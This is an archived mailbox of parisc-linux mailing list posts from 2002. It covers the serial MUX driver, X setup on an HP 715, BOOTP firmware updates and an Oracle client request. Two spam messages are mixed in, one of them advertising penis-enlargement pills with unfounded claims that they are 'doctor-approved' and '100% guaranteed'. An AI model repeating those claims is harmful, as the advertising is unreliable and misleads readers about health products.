	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16325

Hello,
i just compiled kernel with serial mux support
how I can use it?
how to create ttyB*?
REgards

________________________________________________
This mail was sent by Godzilla 1.0



From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial MUX
Date: Sun, 29 Sep 2002 20:28:39 +0200
Organization: private
Lines: 41
Approved: news@gmane.org
Message-ID: <3D974657.F355C89A@gmx.at>
References: <20020929180739.27FFE4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621779 14870 80.91.229.3 (22 Nov 2014 02:02:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 29 12:28:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77C8B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Sep 2002 12:28:42 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020929182838.KHQL25370.viefep11-int.chello.at@gmx.at>;
          Sun, 29 Sep 2002 20:28:38 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16326

Hello,

this driver is under development !
This driver can be used on machines having a non-supported
multi-serial interface like a E35/45/55 or some K-series
machines. 

The first and already tested driver is the PDC console
driver, to use only port-0 of the multi serial board
as console. Now an alternative native MUX driver 
is under development, but this driver can currently 
ONLY access port-0 (first port). The multi-line support
is not coded yet, and some short tests by me show
problems (machine hangs up !).

So you cannot access the multiple serial ports, so sorry.

Christoph P.


Stephan wrote:
> 
> Hello,
> i just compiled kernel with serial mux support
> how I can use it?
> how to create ttyB*?
> REgards
> 
> ________________________________________________
> This mail was sent by Godzilla 1.0
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Haydon <jhaydon@attbi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xwindows
Date: 29 Sep 2002 15:42:50 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <1033328572.1295.7.camel@daedalus>
References: <3D95AB03.9030706@attbi.com>  <3D95CF77.3080508@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621779 14872 80.91.229.3 (22 Nov 2014 02:02:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 29 13:43:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66DCB4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Sep 2002 13:43:06 -0600 (MDT)
Original-Received: from [192.168.1.85] ([66.56.46.164]) by rwcrmhc52.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020929194251.XGRU1696.rwcrmhc52.attbi.com@[192.168.1.85]>;
          Sun, 29 Sep 2002 19:42:51 +0000
In-Reply-To: <3D95CF77.3080508@freebel.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-7) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16327

Joel,

It turns some bad settings put in the XF86Config-4 by me dealing number
of colors and vertical and horizonal sync and some stuff dealing with
probing a monitor put in by Debian.

The correct number of colors is 8 for this 715.

Thanks

James

On Sat, 2002-09-28 at 11:49, Joel Soete wrote:
> Hi James,
> 
> Just start to have a look at ml:
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017688.html
> 
> You could also have a look earlier in this ml, there are other advises 
> concerning X and 715 (HIL mouse?).
> 
> Good luck,
> 	Joel
> 
> 
> James Haydon wrote:
> > I got a  9000/715 100 that I have Debian 3.0 everything works except for 
> > X.  What do I have to do to make X work?
> > 
> > James
> > 
> > 
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 




From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sarah Benson <sarah_benson@nomoreaccent.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Q: DOES YOUR FOREIGN ACCENT SIMPLY GET IN THE WAY?
Date: Sun, 29 Sep 2002 15:51:55 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <20020929205209.7DB834829@dsl2.external.hp.com>
Reply-To: sarah_benson@nomoreaccent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="050958ff-7610-4a3c-930b-b7e7e10551ba"
X-Trace: ger.gmane.org 1416621780 14878 80.91.229.3 (22 Nov 2014 02:03:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 29 14:52:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 55.51.54.29 (24-148-36-246.na.21stcentury.net [24.148.36.246])
	by dsl2.external.hp.com (Postfix) with SMTP id 7DB834829
	for <parisc-linux@parisc-linux.org>; Sun, 29 Sep 2002 14:52:09 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16328

This is a multi-part message in MIME format
--050958ff-7610-4a3c-930b-b7e7e10551ba
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Q: " Would you like to Lose Your Accent ? " 

- DO YOU FIND OTHERS HAVE A HARD TIME UNDERSTANDING WHAT YOU ARE TRYING TO =
CONVEY?

- DO YOU FIND THE NEED TO REPEAT YOURSELF FOR OTHERS TO UNDERSTAND YOU =
CLEARLY?

- DO YOU FEEL EMBARRASSED OR LESS CONFIDENT WHEN TALKING TO WORK COLLEAGUES?

- DO YOU WISH TO COMMUNICATE YOUR THOUGHTS MORE EFFECTIVELY?

- DOES YOUR FOREIGN ACCENT SIMPLY GET IN THE WAY?

Introducing the Krieger Method, an innovative teaching system, designed to =
help you develop effective communication skills. 

Andy Krieger, inventor of this miracle product, originated this revolutionary =
idea whilst working with actors and their accents within the Hollywood film =
industry. 

Contact us to learn about the true benefits you can obtain to communicate =
with confidence!!

"Make your accent simply disappear!"

For Accent Reduction Empowerment, visit us on the web today at :- 

www.nomoreaccent.com

Thank you for your time and interest...

Sarah J. Benson
Marketing Co-ordinator

If you feel this is email is not of interest to you, then we sincerely =
apologize and guarantee you will not receive another email from us, unless =
you otherwise wish.  
--050958ff-7610-4a3c-930b-b7e7e10551ba--



From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Cornelis <Frank.Cornelis@rug.ac.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] firmware update using BOOTP
Date: Sun, 29 Sep 2002 23:17:22 +0200 (MEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.31.0209292306350.1357-100000@eduserv.rug.ac.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621780 14893 80.91.229.3 (22 Nov 2014 02:03:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 29 15:17:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dobit2.rug.ac.be (dobit2.rug.ac.be [157.193.42.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63D344829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Sep 2002 15:17:32 -0600 (MDT)
Original-Received: from eduserv.rug.ac.be (eduserv.rug.ac.be [157.193.40.29])
	by dobit2.rug.ac.be (8.11.1/8.11.1) with ESMTP id g8TLHNq00248
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Sep 2002 23:17:23 +0200 (MEST)
Original-Received: from localhost (fcorneli@localhost)
	by eduserv.rug.ac.be (8.11.1/8.11.1) with ESMTP id g8TLHM303396
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Sep 2002 23:17:22 +0200 (MEST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16329

Hi,

The FAQ
	7. How can I check if the PDC (firmware) revision is the latest ?
at
	http://www.parisc-linux.org/faq/index.html
says nothing about updating the firmware using BOOTP.
I think it should be put there since it works great and is very easy to
do. I just upgraded a 712 from 2.1 to 2.3 using BOOTP.
The text file included with the firmware patch only talks about using a
tape for updating...uch. Please can someone update that FAQ nr. 7?
Yes, I'm a newbie on PA-RISC, but it should not take _me_ that long... I
have to find everything myself...

OK, lifimage already boots, next is my root NFS ... terrible... :)

Frank.



From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: Sun, 29 Sep 2002 23:54:36 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020929235436.I18377@parcelfarce.linux.theplanet.co.uk>
References: <Pine.GSO.4.31.0209292306350.1357-100000@eduserv.rug.ac.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621780 14894 80.91.229.3 (22 Nov 2014 02:03:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Frank Cornelis <Frank.Cornelis@rug.ac.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 29 16:54:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E2514829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Sep 2002 16:54:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17vmxQ-0005yJ-00; Sun, 29 Sep 2002 23:54:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.4.31.0209292306350.1357-100000@eduserv.rug.ac.be>; from Frank.Cornelis@rug.ac.be on Sun, Sep 29, 2002 at 11:17:22PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16330

On Sun, Sep 29, 2002 at 11:17:22PM +0200, Frank Cornelis wrote:
> The FAQ
> 	7. How can I check if the PDC (firmware) revision is the latest ?
> at
> 	http://www.parisc-linux.org/faq/index.html
> says nothing about updating the firmware using BOOTP.
> I think it should be put there since it works great and is very easy to
> do. I just upgraded a 712 from 2.1 to 2.3 using BOOTP.

want to post a patch?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jem486749@yahoo.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Want a Big Penis?
Date: 30 Sep 2002 07:48:17 -0000
Lines: 6
Approved: news@gmane.org
Message-ID: <20020930074817.96646.qmail@mailman.xlresponder.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621781 14926 80.91.229.3 (22 Nov 2014 02:03:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 06:04:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailman.xlresponder.com (mailman.xlresponder.com [217.18.64.76])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2C844829
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 06:04:01 -0600 (MDT)
Original-Received: (qmail 96647 invoked by uid 10001); 30 Sep 2002 07:48:17 -0000
X-Header: Reply-To: jem486749@yahoo.com
X-Loop-Prevention: 1
 Size DOES Matter!!
  You're girlfriend tells you that she doesn't care about your size(penis)?  Scientific studies show that there is a significant relationship between the intensiveness of women's orgasm and the penis size.
  Ged a bigger penis with this doctor-approved natural penis enlargement pill.  If you don't see any effect, you'll get 100% money back. 
  Why wait?  The result is 100% guaranteed.  Find out more at
  http://www.albionmedical.com/pt=truedreammaker2/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16331

Click on the link below to remove yourself
http://www.xlresponder.com/cgi-bin/varpro/r.cgi?id=dreammaker5&a=parisc-linux@parisc-linux.org

AOL Users
<a href="http://www.xlresponder.com/cgi-bin/varpro/r.cgi?id=dreammaker5&a=parisc-linux@parisc-linux.org"> Remove Me</a>


From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Claudio_Pischel_=28Direcci=F3n_General_de_Catastro_-_RN?=  =?iso-8859-1?Q?=29?=" <cpischel@catastro.rionegro.gov.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Client Oracle 8.1.6 for Debian pa-risc
Date: Mon, 30 Sep 2002 09:28:44 -0300
Lines: 12
Approved: news@gmane.org
Message-ID: <004501c2687c$eacc82e0$32180b0a@catastro.gov.ar>
References: <005801c24ef5$bcd5d6c0$95ff8450@PLUTO> <1030582666.2179.360.camel@archimedes.localnetsolutions.com> <3D6D7527.5040505@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621781 14929 80.91.229.3 (22 Nov 2014 02:03:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 06:26:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rionegro.gov.ar (unknown [200.26.54.221])
	by dsl2.external.hp.com (Postfix) with ESMTP id 959294829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 06:26:26 -0600 (MDT)
Original-Received: from catastro.rionegro.gov.ar (smtp.catastro.rionegro.gov.ar [10.11.0.24])
	by dns1.rionegro.gov.ar (8.11.6/linuxconf) with ESMTP id g8UCdSb04285
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 09:39:39 -0300
Original-Received: from informatica4 ([10.11.24.50])
	by catastro.rionegro.gov.ar ([10.11.0.24])
	with SMTP (MDaemon.PRO.v6.0.3.R)
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 09:20:22 -0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
X-MDRemoteIP: 10.11.24.50
X-Return-Path: cpischel@catastro.rionegro.gov.ar
X-MDaemon-Deliver-To: parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16332

I need the client Oracle 8.1.6 for Debian pa-risc.

            Claudio Pischel
    Subgerente de Informatica
cpischel@catastro.rionegro.gov.ar
  Direccin General de Catastro
       e Informacin Territorial
              RIO NEGRO





From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Client Oracle 8.1.6 for Debian pa-risc
Date: Mon, 30 Sep 2002 14:33:52 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20020930123352.GM5427@charite.de>
References: <005801c24ef5$bcd5d6c0$95ff8450@PLUTO> <1030582666.2179.360.camel@archimedes.localnetsolutions.com> <3D6D7527.5040505@charter.net> <004501c2687c$eacc82e0$32180b0a@catastro.gov.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621781 14930 80.91.229.3 (22 Nov 2014 02:03:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Claudio Pischel =?iso-8859-15?Q?=28Direcci=F3n_General_de_Catastro_-_R?= =?iso-8859-15?Q?N=29?= <cpischel@catastro.rionegro.gov.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 06:34:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with SMTP id 80EEB4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 06:34:00 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 6BECB15C00F; Mon, 30 Sep 2002 14:33:54 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 5D5BD633AD; Mon, 30 Sep 2002 14:33:54 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <004501c2687c$eacc82e0$32180b0a@catastro.gov.ar>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16333

On Mon, Sep 30, 2002 at 09:28:44AM -0300, Claudio Pischel (Direcci?n General de Catastro - RN) wrote:

> I need the client Oracle 8.1.6 for Debian pa-risc.

Try asking Oracle for it.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Getting Jolt out of their under-floor cache 



From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Want a Big Penis?
Date: Mon, 30 Sep 2002 14:54:10 +0200
Organization: ESIEE
Lines: 15
Approved: news@gmane.org
Message-ID: <3D984972.3030801@esiee.fr>
References: <20020930074817.96646.qmail@mailman.xlresponder.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621782 14932 80.91.229.3 (22 Nov 2014 02:03:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 06:56:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36E924829
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 06:56:39 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id 3FA4749C6A
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 14:56:35 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP id 038A449C0B
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 14:56:33 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
